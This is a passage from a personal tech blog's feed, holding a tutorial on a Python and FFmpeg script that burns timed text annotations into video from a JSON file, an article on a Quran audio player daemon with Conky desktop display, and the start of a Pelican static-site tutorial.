&lt;p&gt;In this article, I’ll walk you through a practical and flexible approach to video annotation using a custom Python script built on top of &lt;strong&gt;FFmpeg&lt;/strong&gt;. The script allows you to define annotations in a JSON file, control their timing and appearance, and generate a clean, annotated output video—all from the command line.&lt;/p&gt;

&lt;h2&gt;What This Script Does&lt;/h2&gt;

&lt;p&gt;The provided Python script acts as a lightweight video annotation engine. At a high level, it:&lt;/p&gt;

&lt;p&gt;&amp;#8226;&lt;strong&gt;Reads annotations from a JSON file:&lt;/strong&gt; Each annotation defines text, timing, position, and style.&lt;/p&gt;
&lt;p&gt;&amp;#8226;&lt;strong&gt;Generates temporary text files:&lt;/strong&gt; This avoids escaping issues and ensures UTF‑8 compatibility.&lt;/p&gt;
&lt;p&gt;&amp;#8226;&lt;strong&gt;Builds an FFmpeg &lt;code&gt;drawtext&lt;/code&gt; filter dynamically:&lt;/strong&gt; One filter per annotation.&lt;/p&gt;
&lt;p&gt;&amp;#8226;&lt;strong&gt;Encodes the final video:&lt;/strong&gt; Using H.264 by default, with configurable quality and presets.&lt;/p&gt;

&lt;p&gt;The result is a reusable, automation‑friendly tool that fits perfectly into scripting workflows.&lt;/p&gt;

&lt;h2&gt;Prerequisites&lt;/h2&gt;

&lt;p&gt;Before using the script, make sure you have the following installed:&lt;/p&gt;

&lt;p&gt;&amp;#8226;&lt;strong&gt;Python 3.8+:&lt;/strong&gt; The script relies on dataclasses and pathlib.&lt;/p&gt;
&lt;p&gt;&amp;#8226;&lt;strong&gt;FFmpeg:&lt;/strong&gt; Must be available in your &lt;code&gt;PATH&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&amp;#8226;&lt;strong&gt;A TrueType font (.ttf):&lt;/strong&gt; DejaVu Sans is used by default.&lt;/p&gt;

&lt;p&gt;You can verify FFmpeg with:&lt;/p&gt;

&lt;pre&gt;&lt;code class="language-bash"&gt;ffmpeg -version&lt;/code&gt;&lt;/pre&gt;

&lt;h2&gt;Understanding the Annotation Model&lt;/h2&gt;

&lt;p&gt;Each annotation is represented by a simple data structure:&lt;/p&gt;

&lt;pre&gt;&lt;code class="language-python"&gt;@dataclass
class Annotation:
    text: str
    start_time: float
    duration: float
    position: str = "top"
    bg_color: str = "black@0.7"
    text_color: str = "white"
    font_size: int = 28
    font_path: Optional[str] = None&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;This makes annotations expressive yet easy to reason about. Timing is defined in seconds, while visual appearance is controlled via FFmpeg-compatible color and font options.&lt;/p&gt;

&lt;h2&gt;The JSON Annotation File&lt;/h2&gt;

&lt;p&gt;Annotations are defined in a JSON array. This separation of data from logic makes the tool extremely flexible.&lt;/p&gt;

&lt;pre&gt;&lt;code class="language-json"&gt;[
  {
    "text": "Lancement de l'application LaTeX Exam Generator",
    "start_time": 0.0,
    "duration": 4.5,
    "position": "top",
    "bg_color": "black@0.7",
    "text_color": "white",
    "font_size": 32
  },
  {
    "text": "Chargement des modèles d'examens",
    "start_time": 5.0,
    "duration": 3.0,
    "position": "center",
    "bg_color": "rgba(0,0,0,0.6)",
    "text_color": "yellow",
    "font_size": 28
  }
]&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;This format is ideal for version control, automation, and even generating annotations programmatically.&lt;/p&gt;

&lt;h2&gt;Supported Positions and Colors&lt;/h2&gt;

&lt;p&gt;The script supports three vertical positions:&lt;/p&gt;

&lt;p&gt;&amp;#8226;&lt;strong&gt;top&lt;/strong&gt;: Near the top of the video&lt;/p&gt;
&lt;p&gt;&amp;#8226;&lt;strong&gt;center&lt;/strong&gt;: Vertically centered&lt;/p&gt;
&lt;p&gt;&amp;#8226;&lt;strong&gt;bottom&lt;/strong&gt;: Near the bottom, with padding&lt;/p&gt;

&lt;p&gt;For colors, FFmpeg offers great flexibility:&lt;/p&gt;

&lt;p&gt;&amp;#8226;Named colors: &lt;code&gt;white&lt;/code&gt;, &lt;code&gt;black&lt;/code&gt;, &lt;code&gt;red&lt;/code&gt;, &lt;code&gt;yellow&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&amp;#8226;Hex with alpha: &lt;code&gt;#000000@0.75&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&amp;#8226;RGBA format: &lt;code&gt;rgba(0,0,0,0.6)&lt;/code&gt;&lt;/p&gt;

&lt;h2&gt;Command-Line Usage&lt;/h2&gt;

&lt;p&gt;The script is designed to feel like a polished CLI tool.&lt;/p&gt;

&lt;pre&gt;&lt;code class="language-bash"&gt;annotator input.mp4 annotations.json&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;If no output file is specified, the script automatically generates:&lt;/p&gt;

&lt;pre&gt;&lt;code class="language-text"&gt;input_annotated.mp4&lt;/code&gt;&lt;/pre&gt;

&lt;h3&gt;Common Options&lt;/h3&gt;

&lt;pre&gt;&lt;code class="language-bash"&gt;annotator input.mp4 annotations.json \
  --output_file output.mp4 \
  --crf 18 \
  --preset slow \
  --font /path/to/font.ttf&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;These options give you fine-grained control over quality, encoding speed, and typography.&lt;/p&gt;

&lt;h2&gt;How the FFmpeg Filter Works&lt;/h2&gt;

&lt;p&gt;Internally, the script builds a &lt;code&gt;filter_complex&lt;/code&gt; string composed of multiple &lt;code&gt;drawtext&lt;/code&gt; filters. Each filter is enabled only during its time window:&lt;/p&gt;

&lt;pre&gt;&lt;code class="language-text"&gt;enable='between(t,start,end)'&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;This approach avoids splitting the video or re-running FFmpeg multiple times, keeping the process efficient and clean.&lt;/p&gt;

&lt;h2&gt;Why This Approach Scales Well&lt;/h2&gt;

&lt;p&gt;This design has several advantages:&lt;/p&gt;

&lt;p&gt;&amp;#8226;&lt;strong&gt;Automation-friendly:&lt;/strong&gt; Perfect for batch processing videos.&lt;/p&gt;
&lt;p&gt;&amp;#8226;&lt;strong&gt;Separation of concerns:&lt;/strong&gt; JSON handles content, Python handles logic.&lt;/p&gt;
&lt;p&gt;&amp;#8226;&lt;strong&gt;FFmpeg-native:&lt;/strong&gt; No external rendering libraries required.&lt;/p&gt;
&lt;p&gt;&amp;#8226;&lt;strong&gt;Reproducible:&lt;/strong&gt; Same input always produces the same output.&lt;/p&gt;

&lt;h2&gt;The full script:&lt;/h2&gt;

&lt;pre class="language-python"&gt;
    &lt;code class="language-python"&gt;
#!/usr/bin/env python3
import subprocess
import json
import sys
from pathlib import Path
from dataclasses import dataclass
from typing import Optional, List
import argparse

@dataclass
class Annotation:
    &amp;quot;&amp;quot;&amp;quot;Represents a video annotation with styling options.&amp;quot;&amp;quot;&amp;quot;
    text: str
    start_time: float
    duration: float
    position: str = &amp;quot;top&amp;quot;  # &amp;quot;top&amp;quot;, &amp;quot;center&amp;quot;, &amp;quot;bottom&amp;quot;
    bg_color: str = &amp;quot;black@0.7&amp;quot;
    text_color: str = &amp;quot;white&amp;quot;
    font_size: int = 28
    font_path: Optional[str] = None

class VideoAnnotator:
    def __init__(self, input_file: str, output_file: str,
                 default_font: str = &amp;quot;/usr/share/fonts/TTF/DejaVuSans.ttf&amp;quot;,
                 video_codec: str = &amp;quot;libx264&amp;quot;,
                 audio_codec: str = &amp;quot;copy&amp;quot;,
                 crf: int = 23,
                 preset: str = &amp;quot;medium&amp;quot;):
        self.input_file = input_file
        self.output_file = output_file
        self.default_font = default_font
        self.video_codec = video_codec
        self.audio_codec = audio_codec
        self.crf = crf
        self.preset = preset
        self.tmp_dir = Path(&amp;quot;.ffmpeg_text&amp;quot;)
        self.tmp_dir.mkdir(exist_ok=True)
        self.annotations: List[Annotation] = []

    def add_annotation(self, annotation: Annotation):
        self.annotations.append(annotation)

    def load_annotations_from_json(self, json_file: str):
        &amp;quot;&amp;quot;&amp;quot;Load annotations from a JSON file, filling defaults where missing.&amp;quot;&amp;quot;&amp;quot;
        with open(json_file, &amp;quot;r&amp;quot;, encoding=&amp;quot;utf-8&amp;quot;) as f:
            data = json.load(f)
        for item in data:
            ann = Annotation(
                text=item[&amp;quot;text&amp;quot;],
                start_time=float(item[&amp;quot;start_time&amp;quot;]),
                duration=float(item[&amp;quot;duration&amp;quot;]),
                position=item.get(&amp;quot;position&amp;quot;, &amp;quot;top&amp;quot;),
                bg_color=item.get(&amp;quot;bg_color&amp;quot;, &amp;quot;black@0.7&amp;quot;),
                text_color=item.get(&amp;quot;text_color&amp;quot;, &amp;quot;white&amp;quot;),
                font_size=item.get(&amp;quot;font_size&amp;quot;, 28)
            )
            self.add_annotation(ann)

    def _create_text_files(self):
        for i, ann in enumerate(self.annotations):
            text_file = self.tmp_dir / f&amp;quot;text_{i}.txt&amp;quot;
            text_file.write_text(ann.text, encoding=&amp;quot;utf-8&amp;quot;)

    def _build_filter_complex(self) -&amp;gt; str:
        filter_parts = []
        for i, ann in enumerate(self.annotations):
            end_time = ann.start_time + ann.duration
            font = ann.font_path or self.default_font
            text_file = self.tmp_dir / f&amp;quot;text_{i}.txt&amp;quot;

            padding = 10

            if ann.position == &amp;quot;top&amp;quot;:
                y_expr = f&amp;quot;{padding}&amp;quot;
            elif ann.position == &amp;quot;center&amp;quot;:
                y_expr = &amp;quot;(h-text_h)/2&amp;quot;
            else:  # bottom
                y_expr = f&amp;quot;h-text_h-{padding}&amp;quot;

            text_filter = (
                f&amp;quot;drawtext=fontfile=&amp;#x27;{font}&amp;#x27;:textfile=&amp;#x27;{text_file}&amp;#x27;:&amp;quot;
                f&amp;quot;fontcolor={ann.text_color}:fontsize={ann.font_size}:&amp;quot;
                f&amp;quot;x=(w-text_w)/2:y={y_expr}:&amp;quot;
                f&amp;quot;box=1:boxcolor={ann.bg_color}:boxborderw={padding}:&amp;quot;
                f&amp;quot;enable=&amp;#x27;between(t,{ann.start_time},{end_time})&amp;#x27;&amp;quot;
            )
            filter_parts.append(text_filter)
        return &amp;quot;,&amp;quot;.join(filter_parts)

    def run(self):
        if not self.annotations:
            print(&amp;quot;⚠️ No annotations added.&amp;quot;)
            return

        self._create_text_files()
        filter_complex = self._build_filter_complex()

        cmd = [
            &amp;quot;ffmpeg&amp;quot;,
            &amp;quot;-y&amp;quot;,
            &amp;quot;-i&amp;quot;, self.input_file,
            &amp;quot;-vf&amp;quot;, filter_complex,
            &amp;quot;-c:v&amp;quot;, self.video_codec,
            &amp;quot;-preset&amp;quot;, self.preset,
            &amp;quot;-crf&amp;quot;, str(self.crf),
            &amp;quot;-c:a&amp;quot;, self.audio_codec,
            &amp;quot;-movflags&amp;quot;, &amp;quot;+faststart&amp;quot;,
            self.output_file
        ]

        print(&amp;quot;▶ Exécution FFmpeg…&amp;quot;)
        print(f&amp;quot;Nombre d&amp;#x27;annotations : {len(self.annotations)}&amp;quot;)

        try:
            subprocess.run(cmd, check=True)
            print(f&amp;quot;✅ Vidéo annotée générée : {self.output_file}&amp;quot;)
        except subprocess.CalledProcessError as e:
            print(f&amp;quot;❌ Erreur lors de la génération: {e}&amp;quot;)
        finally:
            self.cleanup()

    def cleanup(self):
        if self.tmp_dir.exists():
            for file in self.tmp_dir.glob(&amp;quot;*.txt&amp;quot;):
                try:
                    file.unlink()
                except:
                    pass


def create_help_text():
    &amp;quot;&amp;quot;&amp;quot;Create comprehensive help text with examples.&amp;quot;&amp;quot;&amp;quot;
    example_json = [
        {
            &amp;quot;text&amp;quot;: &amp;quot;Lancement de l&amp;#x27;application LaTeX Exam Generator&amp;quot;,
            &amp;quot;start_time&amp;quot;: 0.0,
            &amp;quot;duration&amp;quot;: 4.5,
            &amp;quot;position&amp;quot;: &amp;quot;top&amp;quot;,
            &amp;quot;bg_color&amp;quot;: &amp;quot;black@0.7&amp;quot;,
            &amp;quot;text_color&amp;quot;: &amp;quot;white&amp;quot;,
            &amp;quot;font_size&amp;quot;: 32
        },
        {
            &amp;quot;text&amp;quot;: &amp;quot;Chargement des modèles d&amp;#x27;examens&amp;quot;,
            &amp;quot;start_time&amp;quot;: 5.0,
            &amp;quot;duration&amp;quot;: 3.0,
            &amp;quot;position&amp;quot;: &amp;quot;center&amp;quot;,
            &amp;quot;bg_color&amp;quot;: &amp;quot;rgba(0,0,0,0.6)&amp;quot;,
            &amp;quot;text_color&amp;quot;: &amp;quot;yellow&amp;quot;,
            &amp;quot;font_size&amp;quot;: 28
        },
        {
            &amp;quot;text&amp;quot;: &amp;quot;Export du sujet en PDF&amp;quot;,
            &amp;quot;start_time&amp;quot;: 9.5,
            &amp;quot;duration&amp;quot;: 4.0,
            &amp;quot;position&amp;quot;: &amp;quot;bottom&amp;quot;,
            &amp;quot;bg_color&amp;quot;: &amp;quot;#000000@0.75&amp;quot;,
            &amp;quot;text_color&amp;quot;: &amp;quot;white&amp;quot;,
            &amp;quot;font_size&amp;quot;: 26
        }
    ]

    help_text = f&amp;quot;&amp;quot;&amp;quot;
Annotate a video with text boxes from a JSON file of annotations.

USAGE:
  annotator video_file annotations_json [OPTIONS]

REQUIRED ARGUMENTS:
  video_file         Path to the input video file
  annotations_json   Path to JSON file with annotations

OPTIONS:
  --output_file FILE   Path to the output video file (default: input_filename_annotated.ext)
  --font FONT          Path to TTF font file (default: /usr/share/fonts/TTF/DejaVuSans.ttf)
  --video_codec CODEC  Video codec for output (default: libx264)
  --audio_codec CODEC  Audio codec for output (default: copy)
  --crf VALUE          CRF quality (lower is better quality, 18-28 recommended, default: 23)
  --preset PRESET      FFmpeg preset for encoding (ultrafast, superfast, veryfast, faster,
                       fast, medium, slow, slower, veryslow; default: medium)

JSON FILE FORMAT:
  The annotations file must be a JSON array of objects. Each object can have these fields:

  REQUIRED fields:
    text:        The text to display (string)
    start_time:  Start time in seconds (float)
    duration:    Duration in seconds (float)

  OPTIONAL fields (with defaults):
    position:    Text position - &amp;quot;top&amp;quot;, &amp;quot;center&amp;quot;, or &amp;quot;bottom&amp;quot; (default: &amp;quot;top&amp;quot;)
    bg_color:    Background color (default: &amp;quot;black@0.7&amp;quot;)
    text_color:  Text color (default: &amp;quot;white&amp;quot;)
    font_size:   Font size in pixels (default: 28)

  Example JSON file:
{json.dumps(example_json, indent=2, ensure_ascii=False)}

COLOR FORMATS:
  - Named colors: white, black, red, green, blue, yellow, cyan, magenta
  - Hex with alpha: #RRGGBB@0.8 (0.0 transparent, 1.0 opaque)
  - RGBA format: rgba(255,0,0,0.7) where last value is alpha (0.0-1.0)

EXAMPLES:
  1. Basic usage:
     annotator input.mp4 annotations.json

  2. With custom output and quality settings:
     annotator input.mp4 annotations.json --output_file output.mp4 --crf 18 --preset slow

  3. With custom font:
     annotator input.mp4 annotations.json --font /path/to/font.ttf

NOTES:
  - The JSON file must be UTF-8 encoded
  - Font file must be a TrueType font (.ttf)
  - Video is encoded with H.264 by default, adjust --video_codec for other formats
  - Audio is copied without re-encoding by default
&amp;quot;&amp;quot;&amp;quot;
    return help_text


def parse_args():
    parser = argparse.ArgumentParser(
        description=&amp;quot;Annotate a video with text boxes from a JSON file of annotations.&amp;quot;,
        formatter_class=argparse.RawDescriptionHelpFormatter,
        epilog=&amp;quot;For complete documentation, run &amp;#x27;annotator --help&amp;#x27;.&amp;quot;
    )

    # Add custom help option that shows full documentation
    parser.add_argument(
        &amp;quot;--help-full&amp;quot;,
        action=&amp;quot;store_true&amp;quot;,
        help=&amp;quot;Show comprehensive help with examples&amp;quot;
    )

    parser.add_argument(&amp;quot;video_file&amp;quot;, nargs=&amp;quot;?&amp;quot;, help=&amp;quot;Path to the input video file&amp;quot;)
    parser.add_argument(&amp;quot;annotations_json&amp;quot;, nargs=&amp;quot;?&amp;quot;, help=&amp;quot;Path to JSON file with annotations&amp;quot;)

    parser.add_argument(&amp;quot;--output_file&amp;quot;, default=None,
                        help=&amp;quot;Path to the output video file (default: input_filename_annotated.ext)&amp;quot;)
    parser.add_argument(&amp;quot;--font&amp;quot;, default=&amp;quot;/usr/share/fonts/TTF/DejaVuSans.ttf&amp;quot;,
                        help=&amp;quot;Path to TTF font file (default: DejaVuSans)&amp;quot;)
    parser.add_argument(&amp;quot;--video_codec&amp;quot;, default=&amp;quot;libx264&amp;quot;,
                        help=&amp;quot;Video codec for output (default: libx264)&amp;quot;)
    parser.add_argument(&amp;quot;--audio_codec&amp;quot;, default=&amp;quot;copy&amp;quot;,
                        help=&amp;quot;Audio codec for output (default: copy)&amp;quot;)
    parser.add_argument(&amp;quot;--crf&amp;quot;, type=int, default=23,
                        help=&amp;quot;CRF quality (lower is better quality, default: 23)&amp;quot;)
    parser.add_argument(&amp;quot;--preset&amp;quot;, default=&amp;quot;medium&amp;quot;,
                        help=&amp;quot;FFmpeg preset for encoding speed/quality (default: medium)&amp;quot;)

    return parser.parse_args()


def main():
    args = parse_args()

    # Show full help if --help-full is specified
    if args.help_full:
        print(create_help_text())
        sys.exit(0)

    # Check for required arguments if not showing help
    if not args.video_file or not args.annotations_json:
        print(&amp;quot;Error: Missing required arguments\n&amp;quot;)
        print(&amp;quot;Usage: annotator video_file annotations_json [OPTIONS]&amp;quot;)
        print(&amp;quot;\nFor comprehensive help with examples, use: annotator --help-full&amp;quot;)
        print(&amp;quot;For brief help, use: annotator --help&amp;quot;)
        sys.exit(1)

    # Determine output file if not provided
    if args.output_file:
        output_file = args.output_file
    else:
        input_path = Path(args.video_file)
        output_file = str(input_path.with_name(input_path.stem + &amp;quot;_annotated&amp;quot; + input_path.suffix))

    annotator = VideoAnnotator(
        input_file=args.video_file,
        output_file=output_file,
        default_font=args.font,
        video_codec=args.video_codec,
        audio_codec=args.audio_codec,
        crf=args.crf,
        preset=args.preset
    )

    annotator.load_annotations_from_json(args.annotations_json)
    annotator.run()


if __name__ == &amp;quot;__main__&amp;quot;:
    main()

    &lt;/code&gt;
&lt;/pre&gt;

&lt;h2&gt;Conclusion&lt;/h2&gt;

&lt;p&gt;Annotating videos doesn’t have to involve heavy GUI tools or manual editing. With a well-structured Python script and FFmpeg’s powerful &lt;code&gt;drawtext&lt;/code&gt; filter, you can generate professional, timed annotations directly from JSON data.&lt;/p&gt;

&lt;p&gt;This script is especially useful for technical demos, educational content, and automated video pipelines. Feel free to extend it with animations, transitions, or even dynamic annotation generation.&lt;/p&gt;

&lt;p&gt;If you’re interested in pushing this further—such as subtitle export, multi-language overlays, or integration into a web interface—there’s plenty of room to build on this foundation. Happy annotating 🚀&lt;/p&gt;</content><category term="Programming"></category><category term="Python"></category><category term="FFmpeg"></category><category term="Video Annotation"></category><category term="CLI Tools"></category><category term="JSON"></category><category term="Automation"></category><category term="Multimedia"></category><category term="Backend Tools"></category><category term="Tutorials"></category></entry><entry><title>Quran Player Daemon: Audio Playback with Desktop Visualization</title><link href="https://mosaid.xyz/articles/quran-player-daemon--audio-playback-with-desktop-visualization-3.html" rel="alternate"></link><published>2025-07-24T01:05:02+00:00</published><updated>2025-07-24T01:05:02+00:00</updated><author><name>mosaid</name></author><id>tag:mosaid.xyz,2025-07-24:/articles/quran-player-daemon--audio-playback-with-desktop-visualization-3.html</id><summary type="html">&lt;p&gt;Build a Python daemon to play Quranic verses with desktop visualization using Conky. Learn how to handle audio, Arabic text rendering, and real-time verse updates.&lt;/p&gt;</summary><content type="html">&lt;p&gt;The &lt;strong&gt;Quran Player Daemon&lt;/strong&gt; is a Python-powered background service built to provide uninterrupted Quranic audio playback while displaying the corresponding verse directly on your desktop using &lt;strong&gt;Conky&lt;/strong&gt;. This elegant combination is ideal for personal devotion, Islamic display panels, or memorization tools. The daemon intelligently manages verse transitions, preserves playback state, and handles Arabic rendering with care.&lt;/p&gt;

&lt;p&gt;&amp;#8226;&lt;strong&gt;Persistent background daemon:&lt;/strong&gt; enables continuous playback&lt;/p&gt;
&lt;p&gt;&amp;#8226;&lt;strong&gt;Auto verse navigation:&lt;/strong&gt; seamlessly moves to the next verse&lt;/p&gt;
&lt;p&gt;&amp;#8226;&lt;strong&gt;Custom repeat ranges:&lt;/strong&gt; for focused memorization or recitation&lt;/p&gt;
&lt;p&gt;&amp;#8226;&lt;strong&gt;Arabic text rendering:&lt;/strong&gt; with correct shaping and font support&lt;/p&gt;
&lt;p&gt;&amp;#8226;&lt;strong&gt;Cross-platform playback:&lt;/strong&gt; supports multiple audio engines&lt;/p&gt;
&lt;p&gt;&amp;#8226;&lt;strong&gt;Session persistence:&lt;/strong&gt; remembers last played verse&lt;/p&gt;
&lt;p&gt;&amp;#8226;&lt;strong&gt;Conky integration:&lt;/strong&gt; renders verses live on your desktop&lt;/p&gt;

&lt;h2&gt;Daemon Architecture&lt;/h2&gt;

&lt;p&gt;At its core, the daemon manages Quranic audio playback and socket communication. Here's how it initializes:&lt;/p&gt;

&lt;pre class="language-python"&gt;
&lt;code class="language-python"&gt;
def handle_start(self):
    if not self.verify_audio_config():
        sys.exit(1)

    self.audio_player = AudioPlayer(config, self.log_action)
    with open(config.LOCK_FILE, 'w') as f:
        portalocker.lock(f, portalocker.LOCK_EX)

    with open(config.PID_FILE, "w") as pid_file:
        pid_file.write(str(os.getpid()))

    server = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)
    server.bind(config.SOCKET_FILE)
    server.listen(5)
    self.log_action("INFO", "Daemon started. Listening for commands.")
&lt;/code&gt;
&lt;/pre&gt;

&lt;h2&gt;Robust Audio Handling&lt;/h2&gt;

&lt;p&gt;The audio backend uses &lt;code&gt;pygame&lt;/code&gt;'s mixer with retry logic:&lt;/p&gt;

&lt;pre class="language-python"&gt;
&lt;code class="language-python"&gt;
class AudioPlayer:
    def init_audio(self, max_retries=3):
        for attempt in range(max_retries):
            try:
                pygame.mixer.init(
                    frequency=44100,
                    size=-16,
                    channels=2,
                    buffer=1024
                )
                return True
            except pygame.error:
                time.sleep(1)
        return False
&lt;/code&gt;
&lt;/pre&gt;

&lt;h2&gt;Arabic Text Rendering&lt;/h2&gt;

&lt;p&gt;Arabic text is shaped and rendered into an image, supporting right-to-left alignment:&lt;/p&gt;

&lt;pre class="language-python"&gt;
&lt;code class="language-python"&gt;
def render_arabic_text_to_image(text, output_path, config):
    font = ImageFont.truetype(config['image']['FONT_FILE'], 48)
    image = Image.new("RGBA", (1240, 800), (0, 0, 0, 0))
    draw = ImageDraw.Draw(image)

    # Assume line-by-line rendering has been calculated
    draw.text((image.width - text_width - 20, y), line,
              font=font, fill=color, direction="rtl")
    image.save(output_path, "PNG")
&lt;/code&gt;
&lt;/pre&gt;

&lt;h2&gt;Conky Integration&lt;/h2&gt;

&lt;p&gt;Verses are displayed using Conky for a minimal, non-intrusive overlay:&lt;/p&gt;

&lt;figure&gt;
    &lt;img src="/theme/images/articles/images/quran-daemon-conky.jpg" alt="Quran verse in desktop" style="max-width:100%;height:auto;" &gt;
    &lt;figcaption&gt;Quran Verse Displayed on Desktop via Conky&lt;/figcaption&gt;
&lt;/figure&gt;

&lt;pre class="language-lua"&gt;
&lt;code class="language-lua"&gt;
conky.config = {
    font = 'Amiri:size=38',
    own_window = true,
    own_window_type = "override",
    own_window_transparent = true,
    alignment = "top_middle",
    gap_x = 25,
    gap_y = 140
}

conky.text = [[
${alignr}${execi 0.5 /path/to/reshape_arabic.sh | head -n 1}
${alignr}${execi 0.5 /path/to/reshape_arabic.sh | sed -n '2p'}
]]
&lt;/code&gt;
&lt;/pre&gt;

&lt;p&gt;The reshaping script:&lt;/p&gt;

&lt;pre class="language-bash"&gt;
&lt;code class="language-bash"&gt;
#!/bin/bash
# reshape_arabic.sh

arabic_text="$(cat /tmp/quran_verse.txt)"
reshaped_text=$(python reshape_arabic.py "$arabic_text")
echo "$reshaped_text"
&lt;/code&gt;
&lt;/pre&gt;

&lt;h2&gt;Playback and Navigation&lt;/h2&gt;

&lt;p&gt;Playback auto-advances to the next verse intelligently:&lt;/p&gt;

&lt;pre class="language-python"&gt;
&lt;code class="language-python"&gt;
def handle_playback_end(self):
    next_verse = self.get_next_verse()
    if next_verse:
        self.current_verse = next_verse
        self.play_verse(next_verse)
&lt;/code&gt;
&lt;/pre&gt;

&lt;p&gt;Navigation adapts based on repeat range:&lt;/p&gt;

&lt;pre class="language-python"&gt;
&lt;code class="language-python"&gt;
def get_next_verse(self):
    if self.repeat_range:
        start, end = self.repeat_range
        return (surah, (ayah + 1) if ayah &amp;lt; end else start)
    else:
        return (surah, ayah + 1) if ayah &amp;lt; max_ayah else (surah + 1, 0)
&lt;/code&gt;
&lt;/pre&gt;

&lt;h2&gt;Configuration Management&lt;/h2&gt;

&lt;pre class="language-python"&gt;
&lt;code class="language-python"&gt;
class ConfigManager:
    def __init__(self):
        self.USER_CONFIG_DIR = "~/.config/quran-player"
        self.STATE_FILE = os.path.join(self.USER_CONFIG_DIR, "playback_state.ini")
        self.config = self._load_config()
&lt;/code&gt;
&lt;/pre&gt;

&lt;h2&gt;Installation Guide&lt;/h2&gt;

&lt;p&gt;The project includes an installer for easy setup:&lt;/p&gt;

&lt;pre class="language-bash"&gt;
&lt;code class="language-bash"&gt;
#!/bin/bash
# install.sh

INSTALL_DIR="$HOME/.quran-player"

copy_application_files() {
    cp daemon.py config_manager.py "$INSTALL_DIR/"
    cp -r audio quran-text "$INSTALL_DIR/"
}

create_cli_wrappers() {
    cat &amp;gt; /usr/local/bin/quran-daemon &amp;lt;&amp;lt;EOF
#!/bin/bash
"$INSTALL_DIR/env/bin/python" "$INSTALL_DIR/daemon.py" "\$@"
EOF
    chmod +x /usr/local/bin/quran-daemon
}
&lt;/code&gt;
&lt;/pre&gt;

&lt;h3&gt;Basic Commands&lt;/h3&gt;

&lt;pre class="language-bash"&gt;
&lt;code class="language-bash"&gt;
# Start the daemon
quran-daemon start

# Load specific verse
quran-daemon load 1:1

# Repeat verses 1–7 of Al-Fatiha
quran-daemon repeat 1:1:7

# Show daemon status
quran-daemon status
&lt;/code&gt;
&lt;/pre&gt;

&lt;h2&gt;Performance Highlights&lt;/h2&gt;

&lt;p&gt;&amp;#8226;&lt;strong&gt;Thread-based architecture:&lt;/strong&gt; minimal CPU usage&lt;/p&gt;
&lt;p&gt;&amp;#8226;&lt;strong&gt;Async I/O operations:&lt;/strong&gt; non-blocking design&lt;/p&gt;
&lt;p&gt;&amp;#8226;&lt;strong&gt;Audio resource optimization:&lt;/strong&gt; smart reinitialization&lt;/p&gt;
&lt;p&gt;&amp;#8226;&lt;strong&gt;Socket pooling:&lt;/strong&gt; avoids redundant connections&lt;/p&gt;
&lt;p&gt;&amp;#8226;&lt;strong&gt;Log rotation:&lt;/strong&gt; keeps disk usage under control&lt;/p&gt;

&lt;pre class="language-python"&gt;
&lt;code class="language-python"&gt;
def rotate_log_if_needed(self, logfile):
    max_size = 1_000_000  # 1MB
    if os.path.getsize(logfile) &amp;gt;= max_size:
        os.rename(logfile, f"{logfile}.1")
&lt;/code&gt;
&lt;/pre&gt;

&lt;h2&gt;Real-World Applications&lt;/h2&gt;

&lt;p&gt;&amp;#8226;&lt;strong&gt;Islamic Kiosks:&lt;/strong&gt; Raspberry Pi-powered Quranic display&lt;/p&gt;
&lt;p&gt;&amp;#8226;&lt;strong&gt;Mosques:&lt;/strong&gt; desktop verse projection during prayer&lt;/p&gt;
&lt;p&gt;&amp;#8226;&lt;strong&gt;Quran Schools:&lt;/strong&gt; aid in memorization and repetition&lt;/p&gt;
&lt;p&gt;&amp;#8226;&lt;strong&gt;Personal Use:&lt;/strong&gt; background recitation during work&lt;/p&gt;
&lt;p&gt;&amp;#8226;&lt;strong&gt;Accessibility:&lt;/strong&gt; support for visually impaired learners&lt;/p&gt;

&lt;h2&gt;Final Thoughts&lt;/h2&gt;

&lt;p&gt;The Quran Player Daemon showcases how modern Python tooling can be used to build spiritually meaningful, technically elegant applications. Through Conky and Arabic text processing, it offers a beautiful and non-intrusive way to stay connected with the Quran. Open-source and modular, it's ready for integration with translations, prayer reminders, or mobile extensions.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Resources&lt;/strong&gt;:&lt;/p&gt;
&lt;p&gt;&amp;#8226; Project Repo: &lt;a href="https://github.com/neoMOSAID/quran-player" target="_blank"&gt;github.com/neoMOSAID/quran-player&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&amp;#8226; Conky Docs: &lt;a href="https://conky.sourceforge.net" target="_blank"&gt;conky.sourceforge.net&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&amp;#8226; Arabic Reshaper: &lt;a href="https://pypi.org/project/arabic-reshaper" target="_blank"&gt;pypi.org/project/arabic-reshaper&lt;/a&gt;&lt;/p&gt;</content><category term="Programming"></category><category term="Quran player"></category><category term="Linux daemon"></category><category term="Conky Quran display"></category><category term="Python audio playback"></category><category term="Arabic text rendering"></category><category term="pygame Quran"></category><category term="quran-daemon"></category><category term="desktop Quran visualizer"></category><category term="Islamic software"></category><category term="religious audio player"></category></entry><entry><title>Complete Tutorial: Creating Categories and Subcategories Using Pages in Pelican</title><link href="https://mosaid.xyz/articles/complete-tutorial--creating-categories-and-subcategories-using-pages-in-pelican-2.html" rel="alternate"></link><published>2025-06-24T17:20:17+00:00</published><updated>2025-06-24T17:20:17+00:00</updated><author><name>mosaid</name></author><id>tag:mosaid.xyz,2025-06-24:/articles/complete-tutorial--creating-categories-and-subcategories-using-pages-in-pelican-2.html</id><summary type="html">&lt;p&gt;Learn how to create a fast, well-structured static website using Pelican by simulating categories and subcategories through pages, folders, and rich metadata.&lt;/p&gt;</summary><content type="html">&lt;h3&gt;Introduction: Why Static Websites Can Beat Dynamic Ones&lt;/h3&gt;
&lt;p&gt;In the web development world, dynamic websites built with platforms like WordPress, Flask, or Laravel often get all the attention. They provide databases, admin dashboards, and real-time interactivity. However, there’s a quiet champion that often goes overlooked: the &lt;strong&gt;static website&lt;/strong&gt;.&lt;/p&gt;
